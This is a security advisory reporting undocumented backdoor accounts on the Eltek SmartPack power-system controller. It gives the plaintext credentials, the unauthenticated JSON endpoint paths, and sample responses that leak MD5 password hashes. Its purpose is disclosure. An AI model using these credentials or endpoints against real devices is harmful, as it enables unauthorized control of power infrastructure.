Eltek SmartPack - Backdoor Account

Author: Saeed reza Zamanian [penetrationtest @ Linkedin]
Product: Eltek SmartPack
Vendor: http://www.eltek.com/
Product Link : http://www.eltek.com/detail_products.epl?k1=25507&id=1123846

About Product:

The Smartpack controller is a powerful and cost-effective module, developed for monitoring and controlling a wide range of Elte's DC power supply systems.
You operate the system from the front panel, locally via a PC using the PowerSuite PC application, or remotely via modem, Ethernet and the Web. The module then utilizes the USB- or RS-232 ports to interface with a local PC, SNMP or Web adapters.

Vulnerability Report:
In Eltek Management Section, on following path, some json files (sush as cfgUseraccount1.json to cfgUseraccount10.json) will be called , that disclose some of pre-defined system users.
the json response is containing username and password (hashed in MD5), if you crack the MD5 hashes to plain text you can be able to login in the system. (same as bellow).
Please Note: the users were not note in users manual.

control:control
status:status

Path:
system conf>Devuce Settings>User Accounts
-----------------------------
json Path:
http://10.211.7.70/RPC/Eltek/cfgUseraccount1.json
to .....
http://10.211.7.70/RPC/Eltek/cfgUseraccount10.json
-----------------------------
json responses:

{
  "jsonrpc":  "2.0",
  "result":  [{
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgLevel:vU8int1"
,
      "Value":  2
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgUser:vString21"
,
      "Value":  "control"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword:vString21"
,
      "Value":  "fc5364bf9dbfa34954526becad136d4b"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_new
:vString21",
      "Value":  null
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_renew
:vString21",
      "Value":  null
    }],
  "id":  21

  
-------------------------------------------------------------------------------------------
{
  "jsonrpc":  "2.0",
  "result":  [{
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgLevel:vU8int1"
,
      "Value":  1
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgUser:vString21"
,
      "Value":  "status"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword:vString21"
,
      "Value":  "9acb44549b41563697bb490144ec6258"
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_new
:vString21",
      "Value":  null
    }, {
      "Path":  "SystemType_ControlSystem.1.ControlUnitPart_security.0.Object_user.UserId_cfgPassword_renew
:vString21",
      "Value":  null
    }],
  "id":  8
}

-------------------------------------------------------------------------------------------

#EOF